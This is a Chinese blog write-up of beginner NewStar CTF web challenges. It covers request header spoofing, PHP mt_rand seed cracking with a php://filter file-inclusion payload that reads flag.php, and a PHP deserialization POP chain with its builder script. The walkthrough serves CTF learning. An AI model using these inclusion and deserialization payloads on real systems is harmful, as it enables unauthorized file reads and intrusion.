NEWSTAR新生赛WEB部分WP

286 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第30天,点击查看活动详情

引文

简单做了几个最近举办的NEWSTAR招新赛的WEB题目来练练手。希望能帮助到大家。

HTTP

图片.png

进入网页让我们通过GET方式传递name参数,所以我们尝试传入:

?name=1

图片.png

需要我们POST传入KEY的值,但是我们不知道KEY的值是什么,怀疑藏有其他信息。

F12查看源码发现KEY:

<!--Key: ctfisgood-->

图片.png

传入之后提示我们不是管理员,于是我们修改cookie值得到flag。

本题作为新生赛还是挺适合的,考察了GET/POST的提交方式以及对抓包工具或者插件的使用,难度不是很大。

Head?Header!

根据题目名称,猜测需要我们抓包修改请求包,根据页面说需要,CTF,brower,所以修改User-Agent为CTF,发个包看看,提示我们需要响应头为uctf.com,我们就修改:Referer:ctf.com,又提示我们本地用户,于是我们修改X-Forwarded-For:127.0.0.1

图片.png

发包得到flag,这题也是很基础,考察了我们对请求包结构的理解以及如何构造。

IncludeOne

进入网页给了我们源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|../i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

一眼伪随机数,需要我们推出伪随机数再进行强比较。mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。

图片.png

用工具爆破出了种子数,编写如下脚本:

<?php
mt_srand(1145146); 
echo mt_rand();
echo mt_rand();

传入之后是用伪协议读取flag,注意传入参数必须包含关键词,这是一个坑点有很多朋友没有了解过伪协议如何添加信息,我们构造的payload如下:

file=php://filter/NewStar/read=string.rot13/resource=flag.php

传入即可得到flag。

UnserializeOne

进入页面得到源码,一个简单的反序列化题目,需要我们构造POP链,先带大家回顾一下魔术方法:

图片.png

我们先看题目源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

简单分析一下,我们要调用_invoke方法,可以使用isset方法来调用,clone方法里面obj->cmd,也就是调用了不存在的方法,$obj指向Start类,要触发clone方法,需要复制对象,可以利用call方法,toString中有check方法,我们可以触发destruct方法来利用toStrng方法。

POP链逻辑如下:invoke->isset->clone->call->_toString->destruct

编写脚本:

$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee(); 
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();

根据生成的payload我们传入后得到flag。

简单来说这个比赛对新人还是挺友好的,有对CTF感兴趣的小伙伴可以尝试去做一下里面的题目。